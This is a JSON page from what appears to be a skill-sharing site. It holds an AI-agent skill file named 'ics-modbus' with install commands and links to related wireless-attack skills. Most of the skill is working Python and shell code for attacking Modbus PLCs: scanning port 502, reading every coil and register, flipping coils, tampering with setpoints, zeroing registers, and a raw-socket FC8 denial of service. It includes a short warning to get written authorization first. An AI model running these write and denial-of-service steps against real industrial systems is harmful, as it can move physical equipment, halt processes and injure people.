[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFHXN9PJTSTMYMTFMPJSPC":3,"skill-same:01M7DFHXN9PJTSTMYMTFMPJSPC":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFHXN9PJTSTMYMTFMPJSPC","ics-modbus",null,"Modbus TCP attack — port 502 enumeration, coil\u002Fholding-register read\u002Fwrite without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fmodbus\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ics-modbus\ndescription: \"Modbus TCP attack — port 502 enumeration, coil\u002Fholding-register read\u002Fwrite without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"modbus modbus-tcp tcp 502 plc scada coil register holding input function code fc fc8 fc43 mei serial gateway moxa\"\n  subdomain: ics-ot\n  tags: modbus, plc, scada, ics, ot\n  mitre_attack: T0855, T0836, T0831\n---\n\n# Modbus TCP Attack\n\nModbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.\n\n## Discover\n\n```bash\n# Scan for port 502\nnmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0\u002F24\n\n# Or with Shodan \u002F Censys: port:502 country:XX\n# Internet-facing Modbus is still depressingly common (search \"modbus\" on Shodan)\n```\n\n## Read everything\n\n```bash\n# Python pymodbus\npython3 -c '\nfrom pymodbus.client import ModbusTcpClient\nc = ModbusTcpClient(\"10.0.0.5\", port=502)\nc.connect()\nprint(\"Coils 0-100:\",   c.read_coils(0, 100).bits)\nprint(\"Discrete 0-100:\", c.read_discrete_inputs(0, 100).bits)\nprint(\"Hold regs:\",      c.read_holding_registers(0, 100).registers)\nprint(\"Input regs:\",     c.read_input_registers(0, 100).registers)\nc.close()\n'\n\n# Or with mbtget (CLI)\nmbtget -r1 -a 0 -n 100 10.0.0.5  # read coils\nmbtget -r3 -a 0 -n 100 10.0.0.5  # read holding regs\n\n# nmap script enum\nnmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5\n```\n\n## Identify the device (FC43 \u002F MEI)\n\n```bash\n# Function code 43 (Read Device Identification) returns vendor \u002F model \u002F firmware\npython3 -c '\nfrom pymodbus.client import ModbusTcpClient\nfrom pymodbus.mei_message import ReadDeviceInformationRequest\nc = ModbusTcpClient(\"10.0.0.5\", port=502)\nc.connect()\nr = c.execute(ReadDeviceInformationRequest(read_code=1))\nprint(r.information)\nc.close()\n'\n# Output: {0: \"Schneider Electric\", 1: \"BMX-P34-2020\", 2: \"v3.20\", ...}\n```\n\n## Write attacks\n\n### Single coil flip (DO output)\n```python\nc.write_coil(address=10, value=True)   # flip coil 10 ON\n# In a PLC, coil 10 might be: motor start, valve open, breaker close\n```\n\n### Tamper holding registers (process setpoints)\n```python\nc.write_register(address=100, value=9999)   # often a setpoint or limit\n```\n\n### Flood diagnostic FC8 sub-function 4 (\"Force Listen Only Mode\")\n```python\n# Stops the PLC from responding to ANY Modbus request — soft DoS\n# Use raw socket:\nimport socket, struct\ns = socket.socket()\ns.connect((\"10.0.0.5\", 502))\nmbap = struct.pack(\">HHHB\", 1, 0, 6, 1)\npdu  = struct.pack(\">BHH\", 8, 0x0004, 0x0000)\ns.send(mbap + pdu)\n```\n\n### Bulk-write registers (often unauthenticated)\n```python\nc.write_registers(address=0, values=[0]*100)   # zero-out 100 registers\n```\n\n## Common findings\n\n| Finding | Impact |\n|---|---|\n| Modbus on internet | Full process control of whatever the PLC drives |\n| No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC |\n| Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN |\n| HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper |\n| Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) |\n\n## OPSEC + safety\n\n- **Real-world warning**: writing to a coil\u002Fregister on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5\u002F6\u002F15\u002F16. Read-only is generally safe; writes can hurt people.\n- Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) — `modbus_function_5` and `modbus_function_15` are distinctive in their telemetry.\n- Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack.\n\n## References\n\n- \"Modbus Hacking\" — Joel Langill (recurring S4 Conference talks)\n- pymodbus docs — github.com\u002Fpymodbus-dev\u002Fpymodbus\n- nmap NSE modbus-discover.nse\n- IEC 62443 (defender baseline; useful for understanding what's in-scope)\n","# Modbus TCP Attack\n\nModbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.\n\n## Discover\n\n```bash\n# Scan for port 502\nnmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0\u002F24\n\n# Or with Shodan \u002F Censys: port:502 country:XX\n# Internet-facing Modbus is still depressingly common (search \"modbus\" on Shodan)\n```\n\n## Read everything\n\n```bash\n# Python pymodbus\npython3 -c '\nfrom pymodbus.client import ModbusTcpClient\nc = ModbusTcpClient(\"10.0.0.5\", port=502)\nc.connect()\nprint(\"Coils 0-100:\",   c.read_coils(0, 100).bits)\nprint(\"Discrete 0-100:\", c.read_discrete_inputs(0, 100).bits)\nprint(\"Hold regs:\",      c.read_holding_registers(0, 100).registers)\nprint(\"Input regs:\",     c.read_input_registers(0, 100).registers)\nc.close()\n'\n\n# Or with mbtget (CLI)\nmbtget -r1 -a 0 -n 100 10.0.0.5  # read coils\nmbtget -r3 -a 0 -n 100 10.0.0.5  # read holding regs\n\n# nmap script enum\nnmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5\n```\n\n## Identify the device (FC43 \u002F MEI)\n\n```bash\n# Function code 43 (Read Device Identification) returns vendor \u002F model \u002F firmware\npython3 -c '\nfrom pymodbus.client import ModbusTcpClient\nfrom pymodbus.mei_message import ReadDeviceInformationRequest\nc = ModbusTcpClient(\"10.0.0.5\", port=502)\nc.connect()\nr = c.execute(ReadDeviceInformationRequest(read_code=1))\nprint(r.information)\nc.close()\n'\n# Output: {0: \"Schneider Electric\", 1: \"BMX-P34-2020\", 2: \"v3.20\", ...}\n```\n\n## Write attacks\n\n### Single coil flip (DO output)\n```python\nc.write_coil(address=10, value=True)   # flip coil 10 ON\n# In a PLC, coil 10 might be: motor start, valve open, breaker close\n```\n\n### Tamper holding registers (process setpoints)\n```python\nc.write_register(address=100, value=9999)   # often a setpoint or limit\n```\n\n### Flood diagnostic FC8 sub-function 4 (\"Force Listen Only Mode\")\n```python\n# Stops the PLC from responding to ANY Modbus request — soft DoS\n# Use raw socket:\nimport socket, struct\ns = socket.socket()\ns.connect((\"10.0.0.5\", 502))\nmbap = struct.pack(\">HHHB\", 1, 0, 6, 1)\npdu  = struct.pack(\">BHH\", 8, 0x0004, 0x0000)\ns.send(mbap + pdu)\n```\n\n### Bulk-write registers (often unauthenticated)\n```python\nc.write_registers(address=0, values=[0]*100)   # zero-out 100 registers\n```\n\n## Common findings\n\n| Finding | Impact |\n|---|---|\n| Modbus on internet | Full process control of whatever the PLC drives |\n| No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC |\n| Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN |\n| HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper |\n| Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) |\n\n## OPSEC + safety\n\n- **Real-world warning**: writing to a coil\u002Fregister on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5\u002F6\u002F15\u002F16. Read-only is generally safe; writes can hurt people.\n- Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) — `modbus_function_5` and `modbus_function_15` are distinctive in their telemetry.\n- Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack.\n\n## References\n\n- \"Modbus Hacking\" — Joel Langill (recurring S4 Conference talks)\n- pymodbus docs — github.com\u002Fpymodbus-dev\u002Fpymodbus\n- nmap NSE modbus-discover.nse\n- IEC 62443 (defender baseline; useful for understanding what's in-scope)\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"modbus, plc, scada, ics, ot","ics-ot","modbus modbus-tcp tcp 502 plc scada coil register holding input function code fc fc8 fc43 mei serial gateway moxa","T0855, T0836, T0831","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fmodbus","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill ics-modbus",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill ics-modbus",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill ics-modbus","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fmodbus\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]